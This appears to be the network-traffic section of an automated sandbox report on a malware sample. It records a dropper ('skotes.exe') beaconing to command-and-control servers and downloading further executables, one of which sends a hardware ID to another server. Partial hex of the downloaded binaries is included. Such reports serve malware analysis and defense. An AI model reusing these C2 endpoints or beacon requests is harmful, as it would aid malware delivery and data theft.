Sep 30, 2024 09:51:30.018100023 CEST	192.168.2.5	1.1.1.1	0x3e9e	Standard query (0)	google.com	A (IP address)	IN (0x0001)	false
Sep 30, 2024 09:51:31.949278116 CEST	192.168.2.5	1.1.1.1	0x43f5	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Sep 30, 2024 09:51:31.949421883 CEST	192.168.2.5	1.1.1.1	0x1b08	Standard query (0)	www.google.com	65	IN (0x0001)	false
Sep 30, 2024 09:51:36.679877996 CEST	192.168.2.5	1.1.1.1	0xa641	Standard query (0)	chrome.google.com	A (IP address)	IN (0x0001)	false
Sep 30, 2024 09:51:36.679995060 CEST	192.168.2.5	1.1.1.1	0xf21f	Standard query (0)	chrome.google.com	65	IN (0x0001)	false
Sep 30, 2024 09:51:39.205904007 CEST	192.168.2.5	1.1.1.1	0x1580	Standard query (0)	accounts.youtube.com	A (IP address)	IN (0x0001)	false
Sep 30, 2024 09:51:39.206094027 CEST	192.168.2.5	1.1.1.1	0xbc66	Standard query (0)	accounts.youtube.com	65	IN (0x0001)	false
Sep 30, 2024 09:51:40.318746090 CEST	192.168.2.5	1.1.1.1	0xde00	Standard query (0)	play.google.com	A (IP address)	IN (0x0001)	false
Sep 30, 2024 09:51:40.318901062 CEST	192.168.2.5	1.1.1.1	0xfe0	Standard query (0)	play.google.com	65	IN (0x0001)	false
Sep 30, 2024 09:52:42.054702044 CEST	192.168.2.5	1.1.1.1	0xea8b	Standard query (0)	play.google.com	A (IP address)	IN (0x0001)	false
Sep 30, 2024 09:52:42.054796934 CEST	192.168.2.5	1.1.1.1	0xadc1	Standard query (0)	play.google.com	65	IN (0x0001)	false
Sep 30, 2024 09:53:32.081036091 CEST	192.168.2.5	1.1.1.1	0x1020	Standard query (0)	www.google.com	65	IN (0x0001)	false
Sep 30, 2024 09:53:32.081036091 CEST	192.168.2.5	1.1.1.1	0xd14c	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Sep 30, 2024 09:53:44.507668018 CEST	192.168.2.5	1.1.1.1	0xe049	Standard query (0)	play.google.com	A (IP address)	IN (0x0001)	false
Sep 30, 2024 09:53:44.507919073 CEST	192.168.2.5	1.1.1.1	0xc95e	Standard query (0)	play.google.com	65	IN (0x0001)	false
Sep 30, 2024 09:54:45.875623941 CEST	192.168.2.5	1.1.1.1	0x5e08	Standard query (0)	play.google.com	A (IP address)	IN (0x0001)	false
Sep 30, 2024 09:54:45.875888109 CEST	192.168.2.5	1.1.1.1	0x99d0	Standard query (0)	play.google.com	65	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Sep 30, 2024 09:51:27.748389959 CEST	1.1.1.1	192.168.2.5	0x78e9	No error (0)	youtube.com		142.250.184.238	A (IP address)	IN (0x0001)	false
Sep 30, 2024 09:51:27.749442101 CEST	1.1.1.1	192.168.2.5	0xb757	No error (0)	youtube.com			65	IN (0x0001)	false
Sep 30, 2024 09:51:29.614948988 CEST	1.1.1.1	192.168.2.5	0x185c	No error (0)	www.youtube.com	youtube-ui.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Sep 30, 2024 09:51:29.614948988 CEST	1.1.1.1	192.168.2.5	0x185c	No error (0)	youtube-ui.l.google.com		142.250.185.142	A (IP address)	IN (0x0001)	false
Sep 30, 2024 09:51:29.614948988 CEST	1.1.1.1	192.168.2.5	0x185c	No error (0)	youtube-ui.l.google.com		216.58.212.174	A (IP address)	IN (0x0001)	false
Sep 30, 2024 09:51:29.614948988 CEST	1.1.1.1	192.168.2.5	0x185c	No error (0)	youtube-ui.l.google.com		216.58.206.46	A (IP address)	IN (0x0001)	false
Sep 30, 2024 09:51:29.614948988 CEST	1.1.1.1	192.168.2.5	0x185c	No error (0)	youtube-ui.l.google.com		216.58.206.78	A (IP address)	IN (0x0001)	false
Sep 30, 2024 09:51:29.614948988 CEST	1.1.1.1	192.168.2.5	0x185c	No error (0)	youtube-ui.l.google.com		142.250.74.206	A (IP address)	IN (0x0001)	false
Sep 30, 2024 09:51:29.614948988 CEST	1.1.1.1	192.168.2.5	0x185c	No error (0)	youtube-ui.l.google.com		142.250.184.238	A (IP address)	IN (0x0001)	false
Sep 30, 2024 09:51:29.614948988 CEST	1.1.1.1	192.168.2.5	0x185c	No error (0)	youtube-ui.l.google.com		142.250.186.46	A (IP address)	IN (0x0001)	false
Sep 30, 2024 09:51:29.614948988 CEST	1.1.1.1	192.168.2.5	0x185c	No error (0)	youtube-ui.l.google.com		142.250.186.174	A (IP address)	IN (0x0001)	false
Sep 30, 2024 09:51:29.614948988 CEST	1.1.1.1	192.168.2.5	0x185c	No error (0)	youtube-ui.l.google.com		142.250.185.206	A (IP address)	IN (0x0001)	false
Sep 30, 2024 09:51:29.614948988 CEST	1.1.1.1	192.168.2.5	0x185c	No error (0)	youtube-ui.l.google.com		142.250.185.174	A (IP address)	IN (0x0001)	false
Sep 30, 2024 09:51:29.614948988 CEST	1.1.1.1	192.168.2.5	0x185c	No error (0)	youtube-ui.l.google.com		172.217.18.14	A (IP address)	IN (0x0001)	false
Sep 30, 2024 09:51:29.614948988 CEST	1.1.1.1	192.168.2.5	0x185c	No error (0)	youtube-ui.l.google.com		142.250.185.110	A (IP address)	IN (0x0001)	false
Sep 30, 2024 09:51:29.614948988 CEST	1.1.1.1	192.168.2.5	0x185c	No error (0)	youtube-ui.l.google.com		142.250.184.206	A (IP address)	IN (0x0001)	false
Sep 30, 2024 09:51:29.614948988 CEST	1.1.1.1	192.168.2.5	0x185c	No error (0)	youtube-ui.l.google.com		142.250.185.238	A (IP address)	IN (0x0001)	false
Sep 30, 2024 09:51:29.614948988 CEST	1.1.1.1	192.168.2.5	0x185c	No error (0)	youtube-ui.l.google.com		142.250.181.238	A (IP address)	IN (0x0001)	false
Sep 30, 2024 09:51:29.614948988 CEST	1.1.1.1	192.168.2.5	0x185c	No error (0)	youtube-ui.l.google.com		172.217.16.206	A (IP address)	IN (0x0001)	false
Sep 30, 2024 09:51:29.614964008 CEST	1.1.1.1	192.168.2.5	0x5bf	No error (0)	www.youtube.com	youtube-ui.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Sep 30, 2024 09:51:29.614964008 CEST	1.1.1.1	192.168.2.5	0x5bf	No error (0)	youtube-ui.l.google.com			65	IN (0x0001)	false
Sep 30, 2024 09:51:29.941886902 CEST	1.1.1.1	192.168.2.5	0x96f3	No error (0)	clients2.googleusercontent.com	googlehosted.l.googleusercontent.com		CNAME (Canonical name)	IN (0x0001)	false
Sep 30, 2024 09:51:29.941886902 CEST	1.1.1.1	192.168.2.5	0x96f3	No error (0)	googlehosted.l.googleusercontent.com		216.58.206.33	A (IP address)	IN (0x0001)	false
Sep 30, 2024 09:51:29.944499969 CEST	1.1.1.1	192.168.2.5	0x4ae8	No error (0)	clients2.googleusercontent.com	googlehosted.l.googleusercontent.com		CNAME (Canonical name)	IN (0x0001)	false
Sep 30, 2024 09:51:30.024952888 CEST	1.1.1.1	192.168.2.5	0x3e9e	No error (0)	google.com		216.58.206.46	A (IP address)	IN (0x0001)	false
Sep 30, 2024 09:51:30.032598972 CEST	8.8.8.8	192.168.2.5	0xf479	No error (0)	google.com		142.250.184.206	A (IP address)	IN (0x0001)	false
Sep 30, 2024 09:51:31.956060886 CEST	1.1.1.1	192.168.2.5	0x1b08	No error (0)	www.google.com			65	IN (0x0001)	false
Sep 30, 2024 09:51:31.957290888 CEST	1.1.1.1	192.168.2.5	0x43f5	No error (0)	www.google.com		142.250.185.132	A (IP address)	IN (0x0001)	false
Sep 30, 2024 09:51:36.687457085 CEST	1.1.1.1	192.168.2.5	0xa641	No error (0)	chrome.google.com	www3.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Sep 30, 2024 09:51:36.687457085 CEST	1.1.1.1	192.168.2.5	0xa641	No error (0)	www3.l.google.com		172.217.18.110	A (IP address)	IN (0x0001)	false
Sep 30, 2024 09:51:36.687761068 CEST	1.1.1.1	192.168.2.5	0xf21f	No error (0)	chrome.google.com	www3.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Sep 30, 2024 09:51:39.213296890 CEST	1.1.1.1	192.168.2.5	0x1580	No error (0)	accounts.youtube.com	www3.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Sep 30, 2024 09:51:39.213296890 CEST	1.1.1.1	192.168.2.5	0x1580	No error (0)	www3.l.google.com		142.250.184.238	A (IP address)	IN (0x0001)	false
Sep 30, 2024 09:51:39.213849068 CEST	1.1.1.1	192.168.2.5	0xbc66	No error (0)	accounts.youtube.com	www3.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Sep 30, 2024 09:51:40.326735020 CEST	1.1.1.1	192.168.2.5	0xde00	No error (0)	play.google.com		142.250.181.238	A (IP address)	IN (0x0001)	false
Sep 30, 2024 09:52:42.061762094 CEST	1.1.1.1	192.168.2.5	0xea8b	No error (0)	play.google.com		142.250.74.206	A (IP address)	IN (0x0001)	false
Sep 30, 2024 09:53:32.088167906 CEST	1.1.1.1	192.168.2.5	0x1020	No error (0)	www.google.com			65	IN (0x0001)	false
Sep 30, 2024 09:53:32.088294983 CEST	1.1.1.1	192.168.2.5	0xd14c	No error (0)	www.google.com		142.250.74.196	A (IP address)	IN (0x0001)	false
Sep 30, 2024 09:53:44.517079115 CEST	1.1.1.1	192.168.2.5	0xe049	No error (0)	play.google.com		142.250.186.78	A (IP address)	IN (0x0001)	false
Sep 30, 2024 09:54:45.882699013 CEST	1.1.1.1	192.168.2.5	0x5e08	No error (0)	play.google.com		142.250.185.78	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

slscr.update.microsoft.com

youtube.com

www.youtube.com

clients2.googleusercontent.com

chrome.google.com

https:

accounts.youtube.com

play.google.com

www.google.com

185.215.113.43

185.215.113.103

185.215.113.37

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49704	185.215.113.43	80	7124	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Sep 30, 2024 09:51:04.563339949 CEST	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 30, 2024 09:51:05.260499001 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 30 Sep 2024 07:51:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49705	185.215.113.43	80	7124	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Sep 30, 2024 09:51:06.778455973 CEST	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 31 32 46 37 30 42 39 35 44 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 38 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A76B12F70B95D82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E8
Sep 30, 2024 09:51:07.497730017 CEST	544	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 30 Sep 2024 07:51:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 36 31 0d 0a 20 3c 63 3e 31 30 30 30 31 31 33 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 31 66 34 61 34 65 36 62 31 64 38 36 62 64 64 34 66 35 39 62 33 31 64 65 31 35 34 34 31 23 31 30 30 30 31 31 35 30 30 32 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 31 66 34 61 34 65 31 61 30 63 65 37 65 39 66 30 65 35 65 62 66 35 64 65 30 34 33 34 39 30 32 35 30 38 30 64 39 23 31 30 30 30 31 31 37 30 33 31 2b 2b 2b 62 35 39 33 37 63 31 61 39 39 64 35 66 39 64 64 30 32 34 36 62 35 63 62 34 66 36 35 32 32 34 32 37 66 61 65 31 64 61 61 38 38 38 32 65 38 66 66 66 37 61 37 64 66 33 30 39 63 35 34 34 31 66 30 35 36 66 63 34 39 23 31 30 30 30 31 34 30 30 34 31 2b 2b 2b 62 35 39 33 37 63 31 61 39 39 64 35 66 39 64 64 30 32 34 36 62 35 63 62 34 66 36 35 32 32 34 32 37 66 61 65 31 64 61 61 38 38 38 32 65 38 66 66 66 37 61 37 [TRUNCATED] Data Ascii: 161 <c>1000113001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58981f4a4e6b1d86bdd4f59b31de15441#1000115002+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58981f4a4e1a0ce7e9f0e5ebf5de04349025080d9#1000117031+++b5937c1a99d5f9dd0246b5cb4f6522427fae1daa8882e8fff7a7df309c5441f056fc49#1000140041+++b5937c1a99d5f9dd0246b5cb4f6522427fae1daa8882e8fff7a7df30994e02ae40b5#<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	49706	185.215.113.103	80	7124	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Sep 30, 2024 09:51:07.506366014 CEST	53	OUT	GET /test/num.exe HTTP/1.1 Host: 185.215.113.103
Sep 30, 2024 09:51:08.225322962 CEST	1236	IN	HTTP/1.1 200 OK Date: Mon, 30 Sep 2024 07:51:08 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Sun, 29 Sep 2024 08:19:54 GMT ETag: "4cc00-6233dc0bf3e80" Accept-Ranges: bytes Content-Length: 314368 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 bd cf 9d 43 f9 ae f3 10 f9 ae f3 10 f9 ae f3 10 96 d8 58 10 e1 ae f3 10 96 d8 6d 10 f4 ae f3 10 96 d8 59 10 c0 ae f3 10 f0 d6 70 10 fa ae f3 10 79 d7 f2 11 fb ae f3 10 f0 d6 60 10 fe ae f3 10 f9 ae f2 10 97 ae f3 10 96 d8 5c 10 eb ae f3 10 96 d8 6e 10 f8 ae f3 10 52 69 63 68 f9 ae f3 10 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 04 00 4a 9a f9 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 ce 01 00 00 1a 24 00 00 00 00 00 f0 69 01 00 00 10 00 00 00 e0 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 10 26 00 00 04 00 00 00 00 00 00 02 00 40 81 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$CXmYpy`\nRichPELJf$i@&@(<%$.text .rdata@@.data#@.relocE%F@B
Sep 30, 2024 09:51:08.225347042 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 dc 41 00 00 00 00 00 00 00 00 00 81 ce 41 00 ea ce 41 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: `AAAUQEE}tMUUEEE]UEExMUMMM]UQSjh0hAj(dEPtX
Sep 30, 2024 09:51:08.225359917 CEST	448	IN	Data Raw: fc ff ff 52 e8 eb 92 01 00 81 ec 88 00 00 00 8b cc 8d 45 08 50 e8 ca 00 00 00 8d 8d a4 fb ff ff 51 e8 be 3c 01 00 81 c4 a0 00 00 00 8d 8d a4 fb ff ff e8 1d 93 01 00 8d 8d f8 fb ff ff e8 e2 95 01 00 50 ff 15 90 a7 64 00 8d 8d f8 fb ff ff e8 40 95 Data Ascii: REPQ<Pd@5jjRAM]UQMM\|MHM<M0}MO]UQMEPM
Sep 30, 2024 09:51:08.225369930 CEST	1236	IN	Data Raw: cc cc cc cc 55 8b ec 51 89 4d fc 8b 45 08 50 8b 4d fc e8 1d 91 01 00 8b 4d 08 83 c1 0c 51 8b 4d fc 83 c1 0c e8 0b 91 01 00 8b 55 08 83 c2 18 52 8b 4d fc 83 c1 18 e8 f9 90 01 00 8b 45 08 83 c0 24 50 8b 4d fc 83 c1 24 e8 e7 90 01 00 8b 45 fc 8b e5 Data Ascii: UQMEPMMQMURME$PM$E]UthBMZhBMMEttWjhQvP\RMPMV\h
Sep 30, 2024 09:51:08.225383043 CEST	1236	IN	Data Raw: 0c 8b cc 8d 95 94 fe ff ff 52 e8 51 8c 01 00 e8 3c 72 01 00 83 c4 0c 85 c0 0f 84 ab 02 00 00 68 22 0e 42 00 8d 8d 80 fe ff ff e8 d1 8b 01 00 68 9c 57 42 00 8d 85 fc fc ff ff 50 8d 4d 18 51 8d 95 08 fd ff ff 52 68 f4 56 42 00 8d 85 14 fd ff ff 50 Data Ascii: RQ<rh"BhWBPMQRhVBPdQ RgP) }0t0PQP}}0t
Sep 30, 2024 09:51:08.225394964 CEST	1236	IN	Data Raw: 0c 5d c3 cc cc cc cc cc cc cc cc cc 55 8b ec 83 ec 08 8b 45 08 89 45 f8 8b 4d 08 8b 51 04 2b 55 0c c1 e2 0c 03 55 f8 89 55 f8 8b 45 f8 89 45 fc 8b 4d 08 8b 51 04 2b 55 0c 8b 45 08 89 50 04 8b 4d fc 8b 55 0c 89 51 04 8b 45 fc 8b 4d 08 89 48 0c 8b Data Ascii: ]UEEMQ+UUUEEMQ+UEPMUQEMHUEHJUztEHUQEMHUEE]Ud;EuMdUBMAUBEMQPExtMQEBE]UE]UE
Sep 30, 2024 09:51:08.225471020 CEST	1236	IN	Data Raw: a3 2c a1 64 00 6a 14 68 48 1e 42 00 68 60 1e 42 00 e8 c2 20 00 00 83 c4 0c a3 b0 a2 64 00 6a 0c 68 78 1e 42 00 68 88 1e 42 00 e8 a9 20 00 00 83 c4 0c a3 50 a5 64 00 6a 09 68 98 1e 42 00 68 a4 1e 42 00 e8 90 20 00 00 83 c4 0c a3 7c a1 64 00 6a 0a Data Ascii: ,djhHBh`B djhxBhB PdjhBhB \|djhBhBw djhBhB^ djhBhBE (djhBhB, djhBh$B $djh0Bh@BdjhPBh\B
Sep 30, 2024 09:51:08.225512981 CEST	1236	IN	Data Raw: c4 0c a3 fc a4 64 00 6a 12 68 60 23 42 00 68 74 23 42 00 e8 ec 1b 00 00 83 c4 0c a3 f8 a4 64 00 6a 0b 68 88 23 42 00 68 94 23 42 00 e8 d3 1b 00 00 83 c4 0c a3 b8 a0 64 00 6a 0d 68 a0 23 42 00 68 b0 23 42 00 e8 ba 1b 00 00 83 c4 0c a3 dc a4 64 00 Data Ascii: djh`#Bht#Bdjh#Bh#Bdjh#Bh#Bdjh#Bh#B<djh#Bh#BLdjh#Bh$Bodjh $Bh,$BVdjh8$BhH$B=djhX$Bhd$B$(djhp$Bh$B
Sep 30, 2024 09:51:08.225527048 CEST	1236	IN	Data Raw: 29 42 00 68 d0 29 42 00 e8 23 17 00 00 83 c4 0c a3 e8 a5 64 00 6a 10 68 e0 29 42 00 68 f4 29 42 00 e8 0a 17 00 00 83 c4 0c a3 2c a4 64 00 6a 1a 68 08 2a 42 00 68 24 2a 42 00 e8 f1 16 00 00 83 c4 0c a3 64 a4 64 00 6a 1c 68 40 2a 42 00 68 60 2a 42 Data Ascii: )Bh)B#djh)Bh)B,djhBh$Bddjh@Bh`B`djhBhBdjhBhBdjhBhBdjh*Bh+BtTdjh(+Bh8+B[@djhH+Bh\+BB
Sep 30, 2024 09:51:08.225538969 CEST	1236	IN	Data Raw: 00 00 83 c4 0c a3 98 a4 64 00 6a 13 68 c8 30 42 00 68 dc 30 42 00 e8 41 12 00 00 83 c4 0c a3 9c a5 64 00 6a 0d 68 f0 30 42 00 68 00 31 42 00 e8 28 12 00 00 83 c4 0c a3 ec a0 64 00 6a 04 68 10 31 42 00 68 18 31 42 00 e8 0f 12 00 00 83 c4 0c a3 b4 Data Ascii: djh0Bh0BAdjh0Bh1B(djh1Bh1Bdjh 1Bh81BxdjhP1Bh\1Bdjhh1Bhx1B djh1Bh1Bdjh1Bh1Bdjh1Bh1By djh2Bh
Sep 30, 2024 09:51:08.230777025 CEST	1236	IN	Data Raw: 12 68 b8 38 42 00 68 cc 38 42 00 e8 78 0d 00 00 83 c4 0c a3 a8 a0 64 00 6a 0d 68 e0 38 42 00 68 f0 38 42 00 e8 5f 0d 00 00 83 c4 0c a3 38 a1 64 00 6a 07 68 00 39 42 00 68 08 39 42 00 e8 46 0d 00 00 83 c4 0c a3 00 a5 64 00 6a 18 68 10 39 42 00 68 Data Ascii: h8Bh8Bxdjh8Bh8B_8djh9Bh9BFdjh9Bh,9B-djhH9Bh`9Bdjhx9Bh9Bdjh9Bh9Bdjh9Bh9B@djh9Bh9Bdjh9Bh9B

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.5	49707	185.215.113.37	80	1876	C:\Users\user\AppData\Local\Temp\1000113001\num.exe

Timestamp	Bytes transferred	Direction	Data
Sep 30, 2024 09:51:09.760478020 CEST	89	OUT	GET / HTTP/1.1 Host: 185.215.113.37 Connection: Keep-Alive Cache-Control: no-cache
Sep 30, 2024 09:51:10.474744081 CEST	203	IN	HTTP/1.1 200 OK Date: Mon, 30 Sep 2024 07:51:10 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Sep 30, 2024 09:51:10.478297949 CEST	412	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GHJJDGHCBGDHIECBGIDA Host: 185.215.113.37 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 47 48 4a 4a 44 47 48 43 42 47 44 48 49 45 43 42 47 49 44 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 35 30 33 35 38 30 32 39 32 37 37 32 32 35 38 33 35 38 30 30 35 38 0d 0a 2d 2d 2d 2d 2d 2d 47 48 4a 4a 44 47 48 43 42 47 44 48 49 45 43 42 47 49 44 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 47 48 4a 4a 44 47 48 43 42 47 44 48 49 45 43 42 47 49 44 41 2d 2d 0d 0a Data Ascii: ------GHJJDGHCBGDHIECBGIDAContent-Disposition: form-data; name="hwid"5035802927722583580058------GHJJDGHCBGDHIECBGIDAContent-Disposition: form-data; name="build"doma------GHJJDGHCBGDHIECBGIDA--
Sep 30, 2024 09:51:10.709546089 CEST	210	IN	HTTP/1.1 200 OK Date: Mon, 30 Sep 2024 07:51:10 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.5	49708	185.215.113.43	80	7124	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Sep 30, 2024 09:51:11.005800009 CEST	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 65 31 3d 31 30 30 30 31 31 33 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: e1=1000113001&unit=246122658369
Sep 30, 2024 09:51:11.692152977 CEST	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 30 Sep 2024 07:51:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.5	49709	185.215.113.103	80	7124	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Sep 30, 2024 09:51:11.710697889 CEST	57	OUT	GET /steam/random.exe HTTP/1.1 Host: 185.215.113.103
Sep 30, 2024 09:51:12.421024084 CEST	1236	IN	HTTP/1.1 200 OK Date: Mon, 30 Sep 2024 07:51:12 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Mon, 30 Sep 2024 07:04:42 GMT ETag: "1c5600-62350d1b06f29" Accept-Ranges: bytes Content-Length: 1857024 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 bd cf 9d 43 f9 ae f3 10 f9 ae f3 10 f9 ae f3 10 96 d8 58 10 e1 ae f3 10 96 d8 6d 10 f4 ae f3 10 96 d8 59 10 c0 ae f3 10 f0 d6 70 10 fa ae f3 10 79 d7 f2 11 fb ae f3 10 f0 d6 60 10 fe ae f3 10 f9 ae f2 10 97 ae f3 10 96 d8 5c 10 eb ae f3 10 96 d8 6e 10 f8 ae f3 10 52 69 63 68 f9 ae f3 10 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 4a 9a f9 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 ce 01 00 00 1a 24 00 00 00 00 00 00 40 6a 00 00 10 00 00 00 e0 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 70 6a 00 00 04 00 00 63 20 1d 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$CXmYpy`\nRichPELJf$@j@pjc @P%d% %(@.rsrc %8@.idata %8@ P*%:@ipavvigs0P<@zxudawlj0j0@.taggant0@j"4@
Sep 30, 2024 09:51:12.421042919 CEST	224	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Sep 30, 2024 09:51:12.421055079 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
